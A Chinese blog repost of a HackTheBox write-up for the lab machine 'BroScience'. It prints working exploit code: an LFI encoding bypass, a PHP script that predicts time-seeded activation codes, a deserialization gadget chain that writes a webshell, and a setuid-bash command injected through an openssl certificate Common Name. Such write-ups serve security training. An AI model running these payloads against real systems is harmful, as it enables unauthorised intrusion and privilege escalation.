当前位置: 首页 > news >正文

HackTheBox - Medium - Linux - BroScience

BroScience

BroScience 是一款中等难度的 Linux 机器,其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力,攻击者可以深入了解帐户激活码的生成方式,从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后,进一步枚举显示该站点'的主题选择器功能容易受到使用自定义小工具链的 PHP 反序列化的影响,允许攻击者复制目标系统上的文件,最终导致远程代码执行。一旦站稳了脚跟,就会从数据库中恢复一些哈希值,一旦被破解,就会证明其中包含机器的有效“SSH”密码'的主要用户“bill”。最后,权限升级基于执行 Bash 脚本的 cronjob,该脚本容易受到通过“openssl”生成的证书进行命令注入的攻击,从而丧失对攻击者的“root”访问权限。


外部信息收集

端口扫描

循例nmap

file

Web枚举

在主页源码中可以看到img.php包含图片文件名来显示图片

file

但是会检测“/”,通过对%进行url enocde,实现二次url编码绕过

file

注册的时候需要激活码,然而这激活码是不可能发到我们的邮箱的

file

通过LFI读register.php,可以看到其调用utils.php中的生成函数

// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
...
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";

跟到utils.php

file

它通过时间戳来做随机数种子,而与这个时间戳最接近并且我们能够获取到的,也就是register.php返回的响应头中的Date,将其转为时间戳,再做容错

首先注册一个账户

file

将响应头的Date拿去转换

file

exp

<?php
function generate_activation_code($time) {$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";srand($time);$activation_code = "";for ($i = 0; $i < 32; $i++) {$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];}echo $activation_code . "\n";
}$time = 1704279054;for ($t = $time;$t <= $time + 20; $t++){generate_activation_code($t);
}?>

将生成的code保存到文件,ffuf跑一下

file

code应该是有时效的,及时到activate.php上激活

file

登录

file

Foothold

继续通过LFI读user.php

file

跟回到utils.php

class UserPrefs {public $theme;public function __construct($theme = "light") {$this->theme = $theme;}
}function get_theme() {if (isset($_SESSION['id'])) {if (!isset($_COOKIE['user-prefs'])) {$up_cookie = base64_encode(serialize(new UserPrefs()));setcookie('user-prefs', $up_cookie);} else {$up_cookie = $_COOKIE['user-prefs'];}$up = unserialize(base64_decode($up_cookie));return $up->theme;} else {return "light";}
}...

不需要脑子的反序列化,exp

<?phpclass Avatar {public $imgPath;public function __construct($imgPath) {$this->imgPath = $imgPath;}public function save($tmp) {$f = fopen($this->imgPath, "w");fwrite($f, file_get_contents($tmp));fclose($f);}
}class AvatarInterface {public $tmp = '/var/lib/php/sessions/sess_76n6mi015r86vgf1blcnmnhqtl';public $imgPath = "/var/www/html/cmd.php"; public function __wakeup() {$a = new Avatar($this->imgPath);$a->save($this->tmp);}
}$a = new AvatarInterface();
echo base64_encode(serialize($a));

将base64复制到Cookie

file

用相同的方法注册并激活一个恶意用户,并且登录

file

再打一遍反序列化exp。cmd.php

file

常规python3 reverse shell

file

本地横向移动

db_connect.php

file

psql进数据库

file

查表

file

直接select * from users;

file

bill是目标系统上的账户,爆破它的密码hash对我们有利,拿上前面读到的salt进行爆破

file

登ssh

file

本地权限提升

传个pspy

file

它会先检查/home/bill/Certs/broscience.crt证书是否是一天内到期

file

然后它会生成一个证书,并且执行一个bash命令,而我们可以劫持$commonName

file

在生成证书的时候,我们向CommonName写入cmd

ill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -out broscience.crt -days 1
...
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/bash;chmod +s /tmp/bash)
Email Address []:
...

等一会,迎接老朋友的到来

file

相关文章:

HackTheBox - Medium - Linux - BroScience

BroScience BroScience 是一款中等难度的 Linux 机器&#xff0c;其特点是 Web 应用程序容易受到“LFI”的攻击。通过读取目标上的任意文件的能力&#xff0c;攻击者可以深入了解帐户激活码的生成方式&#xff0c;从而能够创建一组可能有效的令牌来激活新创建的帐户。登录后&a…...

`nginx/conf/nginx.conf`最简配置说明

nginx/conf/nginx.conf最简配置说明 代码 nginx/conf/nginx.conf worker_processes 1; #工作进程个数;一般对应CPU内核对应一个worker_processes;太多反而让效率变差;# 事件驱动模块; events {worker_connections 1024;#设置每个worker_processes对应多少个联接; }# 网络请…...

商务智能|描述性统计分析与数据可视化

一、商务智能的三大方面 三个主要方面是描述性的统计分析、预测性的分析和指导性的数据分析。 A. 商务智能的知识体系下,数据分析包含了哪三个工作?商务智能体系架构里边关于数据分析的术语是什么? 商务智能的知识体系下,数据分析包含了三个工作,即描述性分析,预测性分析…...

【游记】GDKOI2024

去年稳定 Cu&#xff0c;希望今年来块 Ag。 Day − ∞ -\infty −∞ 不知道什么时候报名交钱的&#xff0c;赶紧问一问。 周四把设备送过来了。最近备战期末 选科 演讲比赛&#xff0c;有点忙不过来。 Day0 下午两点半出发&#xff0c;车程 2h。路上给小绿打肉鸽 1h 掉电…...

linux支持的零拷贝类型以及java对应的支持

在之前整理的零拷贝文章基础上 https://blog.csdn.net/zlpzlpzyd/article/details/135321197 https://blog.csdn.net/zlpzlpzyd/article/details/135317834 得出如下 因为开发的程序很多运行在 linux 操作系统上&#xff0c;所以用 linux 进行讲解 linux 调用方式 dma复制次数…...

【TypeScript】声明文件

一、定义 TypeScript 的声明文件包含 .d.ts 扩展名&#xff0c;并用于为 TypeScript 提供关于 JavaScript 代码的类型信息这些文件通常定义了接口、类型别名、类等&#xff0c;但并不包含实际的执行代码当你使用 JavaScript 库或框架时&#xff0c;声明文件就显得非常有用&…...

基于Flutter构建小型新闻App

目录 1. 概述 1.1 功能概述 1.2 技术准备 1.3 源码地址 2. App首页 2.1 pubspec依赖 2.2 热门首页组件 2.2.1 DefaultTabController 2.2.2 Swiper 2.3 新闻API数据访问 2.4 热门首页效果图 3. 新闻分类 3.1 GestureDetector 3.2 新闻分类效果图 4. 收藏功能 4…...

利用python将excel文件转成txt文件,再将txt文件上传hdfs,最后传入hive中

将excel文件转成txt文件&#xff0c;再将txt文件上传hdfs&#xff0c;最后传入hive中 注意的点 &#xff08;1&#xff09;先判断写入的txt文件是否存在&#xff0c;如果不存在就需要创建路径 &#xff08;2&#xff09;如果txt文件已经存在&#xff0c;那么先将对应的文件进行…...

【自学笔记】01Java基础-07面向对象基础-02继承

记录学习Java基础中有关继承、方法重写、构造器调用的基础知识&#xff0c;学习继承之前建议学习static关键字的内容【自学笔记】01Java基础-09Java关键字详解 1 继承概述 1.1 什么是继承&#xff1f; 1.2 继承的特点 子类可以继承父类的属性和行为&#xff0c;但是子类不能…...

二分查找(一)

算法原理 原理&#xff1a;当一个序列有“二段性”的时候&#xff0c;就可以使用二分查找算法。 适用范围&#xff1a;根据规律找一个点&#xff0c;能将这个数组分成两部分&#xff0c;根据规律能有选择性的舍去一部分&#xff0c;进而在另一个部分继续查找。 除了最普通的…...

【华为OD真题 Python】精准核酸检测

文章目录 题目描述输入描述输出描述示例1输入输出说明备注代码实现题目描述 为了达到新冠疫情精准防控的需要,为了避免全员核酸检测带来的浪费,需要精准圈定可能被感染的人群。 现在根据传染病流调以及大数据分析,得到了每个人之间在时间、空间上是否存在轨迹的交叉。 现…...

Springboot使用logback

文章目录 目录 文章目录 前言 一、添加依赖 二、使用步骤 三 、测试使用 总结 前言 Logback 是log4j 框架的作者开发的新一代日志框架&#xff0c;它效率更高、能够适应诸多的运行环境&#xff0c;同时天然支持 SLF4J。 Logback 的定制性更加灵活&#xff0c;同时也是 Sprin…...

【REST2SQL】03 GO读取JSON文件

REST2SQL需要一些配置信息&#xff0c;用JSON文件保存&#xff0c;比如config.json 1 创建config.json配置文件 {"hostPort":"localhost:5217","connString":"oracle://blma:5217127.0.0.1:1521/CQYH","_oracle":"ora…...

数据库-MySQL 启动方式

以管理员身份运行命令行 或者Shell net start //查看所有服务 net start MYSQL80 //启动服务 net stop MYSQL80 //停止服务完整安装MySQL社区版本的 会有这个 启动服务 停止服务 重启服务...

YAML使用

yaml yaml是类型aml&#xff0c;json的标记性语言&#xff0c;它强调以数据为中心 yaml的语法主要是如下几个&#xff1a; 大小写敏感 使用缩进表示层级关系 缩进不允许使用tab、只允许空格&#xff08;低版本限制&#xff0c;高版本不限制&#xff09; 缩进时空格数不重要&a…...

读书之深入理解ffmpeg_简单笔记2(初步)

再回看第一遍通读后的笔记&#xff0c;感觉还有很多的细节需要一一攻克,。 mp4的封装格式&#xff0c;解析方式。 flv的封装格式&#xff0c;解析方式。 ts的封装格式&#xff0c;解析方式。 第四章 封装和解封装 4.2 视频文件转flv &#xff08;头文件和文件内容&#xff0…...

ELK+kafka+filebeat企业内部日志分析系统搭建

看上面的拓扑图&#xff0c;我们至少准备七台机器进行下面的实验项目。 机器主要作用分布如下: 三台安装elasticsearch来搭建ES集群实现高可用&#xff0c;其他机器就依次安装filebeat,kafka,logstash和kibana软件 一、部署elasticsearch来搭建ES集群 1.安装jdk 由于ES运行…...

勒索检测能力升级,亚信安全发布《勒索家族和勒索事件监控报告》

评论员简评 近期(12.08-12.14)共发生勒索事件119起&#xff0c;相较之前呈现持平趋势。 与上周相比&#xff0c;近期仍然流行的勒索家族为lockbit3和8base。在涉及的勒索家族中&#xff0c;活跃程度Top5的勒索家族分别是&#xff1a;lockbit3、siegedsec、dragonforce、8base和…...

编译原理复习的有用链接

2024年1月7日&#xff0c;考完编译原理&#xff0c;是时候和考试时候的她说再见了&#xff0c;整理一些收藏夹里的链接和思考吧 实验看这里&#xff1a; 编译原理_HNU岳麓山大小姐的博客-CSDN博客 课后习题看这里&#xff1a; 编译原理作业答案github LL1文法复习 [编译原…...

不带控制器打包exe,转pdf文件时失败的原因

加了注释的两条代码后&#xff0c;控制器会显示一个docx转pdf的进度条。这个进度条需要控制器的实现&#xff0c;如果转exe不带控制器的话&#xff0c;当点击转换为pdf的按钮就会导致程序出错和闪退。 __init__.py文件的入口...

Python 注释的方法

在Python中&#xff0c;有两种常见的注释方法&#xff1a; 单行注释&#xff1a;使用#符号来注释一行代码。在#符号后面的内容将被视为注释&#xff0c;不会被解释器执行&#xff0c;如&#xff1a; # 这是一个单行注释 print(hello world!) # 打印字符串多行注释&#xff1…...

webman插件创建

webman插件创建 介绍 应用插件实际上是一个完整的应用&#xff0c;它能以插件的形式安装到主项目中&#xff0c;使主项目快速获得某个模块功能。 例如&#xff1a;主项目需要一个问答系统&#xff0c;则可以安装一个问答应用插件&#xff0c;需要一个商城系统&#xff0c;则安…...

大模型迎来“AppStore时刻”,OpenAI给2024的新想象

一夜之间&#xff0c;OpenAI公布了多个重磅消息&#xff0c;引发市场关注。 钛媒体App 1月5日消息&#xff0c;今晨&#xff0c;OpenAI公司向所有GPT开发者们发布一封邮件称&#xff0c;下周将上线自定义的“GPT Store”商店&#xff0c;这有望推动ChatGPT开发者生态不断完善。…...

ubuntu解决在pycharm上使用jupyter无法导入虚拟环境中的包的问题

ubuntu解决在pycharm上使用jupyter无法导入虚拟环境中的包的问题 根本原因是jupyter 没有和他对应的kernel 需要先使用命令行建立kernel 下载ipykernel pip install ipykernel 首先激活conda conda activate然后添加你的kernel到虚拟环境 python -m ipykernel install -…...

探索2024年软件测试的几大主导趋势

进入2024年&#xff0c;考虑影响测试环境的问题至关重要。这种思考将成为团队了解主要瓶颈和实现当今不断提高的期望的首要因素。 01 了解关键测试瓶颈 毋庸置疑&#xff0c;现代团队需要不断创新、适应和拥抱最新趋势&#xff0c;以保持竞争力并提供以客户为中心的解决方案。尽…...

Linux C语言 48-信号总结

Linux C语言 48-信号总结 本节关键字&#xff1a;Linux、C语言、常用信号 相关C库函数&#xff1a;printf、signal、kill Linux中都有哪些信号 信号在Linux操作系统中是很重要的&#xff0c;信号的产生方式可以是来自键盘、由软件条件产生、调用硬件异常产生。来自系统函数调…...

【vue技巧】之如何让mixin的data 比本身vue的data优先级要高

GPT4.0国内站点&#xff1a;海鲸AI 在 Vue 中&#xff0c;当组件和 mixin 包含有冲突的选项时&#xff0c;这些选项将以一定的方式合并。对于 data 选项&#xff0c;组件自身的 data 会优先级更高&#xff0c;这意味着如果组件和 mixin 中出现了相同的字段&#xff0c;组件的数…...

全解析阿里云Alibaba Cloud Linux镜像操作系统

Alibaba Cloud Linux是基于龙蜥社区OpenAnolis龙蜥操作系统Anolis OS的阿里云发行版&#xff0c;针对阿里云服务器ECS做了大量深度优化&#xff0c;Alibaba Cloud Linux由阿里云官方免费提供长期支持和维护LTS&#xff0c;Alibaba Cloud Linux完全兼容CentOS/RHEL生态和操作方式…...

什么是数据结构?

1、一种非常经典的数据结构。 栈数据结构&#xff1a;stack 2、什么是数据结构&#xff1f; 数据结构通常是&#xff1a;存储数据的容器。而该容器可能存在不同的结构。 数据结构和 java 语言实际上是没有关系&#xff0c;数据结构是一门独立的学科。 在大学计算机专业中&#…...

GOOS=darwin 代表macOS环境

GOOSdarwin 是一个环境变量设置&#xff0c;表示目标操作系统为 macOS。 在Go语言中&#xff0c;可以使用环境变量 GOOS 来指定目标操作系统&#xff0c;用于交叉编译或跨平台开发。darwin 是指苹果公司的操作系统系列&#xff0c;主要是 macOS。 通过设置 GOOSdarwin&#x…...

制作网站不给源代码/软件测试培训机构哪家好

疫情影响&#xff0c;很多人今年上半年根本不敢跳槽找工作&#xff0c;甚至相当多的程序员遭遇了裁员、调岗、降薪等&#xff01; 好在金九银十季到了&#xff0c;我特地整理了这份**【Java超硬核面试 “备战” 手册】&#xff01;除了Java各种技术专题知识、大厂面试真题**&a…...

外贸谷歌网站推广/网络营销专业就业方向

windows下的配置&#xff1a; ThreadLimit ThreadsPerChild MaxRequestsPerChild 。。。学习中 转载于:https://www.cnblogs.com/sleepyy/p/3379278.html...

网站的图片做多大尺寸/百度保障平台 客服

http://pan.baidu.com/s/1qYq4X0C GitHub Desktop 桌面工具&#xff0c;离线版本下载 对于网络不好&#xff0c;不稳定&#xff0c;安装多次都不成功的&#xff0c;这是你们的最好的安装方法了。...

90后小姑娘做网站/免费html网页模板

导读&#xff1a; 黑客会在很多开源框架里植入自己的木马或后门&#xff0c;典型的就是eval一句话&#xff0c;如果你使用的是开源程序&#xff0c;或者从别人那里购买回来的程序&#xff0c;一定要认真检查&#xff0c;及时清理掉后门木马&#xff0c;以免网站和服务器被黑客…...

太原网站优化常识/代做百度首页排名

nodeJs中常用的一些内置模块有&#xff1a; url&#xff0c;用于处理与解析 URL&#xff1b;querystring&#xff0c;用于解析和格式化 URL 查询字符串&#xff1b;http&#xff0c;HTTP服务&#xff1b;path&#xff0c;路径&#xff0c;用于处理文件路径和目录路径&#xff…...

电子商务平台网站推广/咸阳网站建设公司

对很多现代人来说&#xff0c;买不买车都是其次&#xff0c;驾照是肯定要考下来的&#xff0c;不过也有一些人是在计划买车以后&#xff0c;才去驾校里报名然后开始考驾照的。只有通过考试掌握了开车的基础技巧和相关知识以后&#xff0c;才能有资格开车上路。开车其实也是一种…...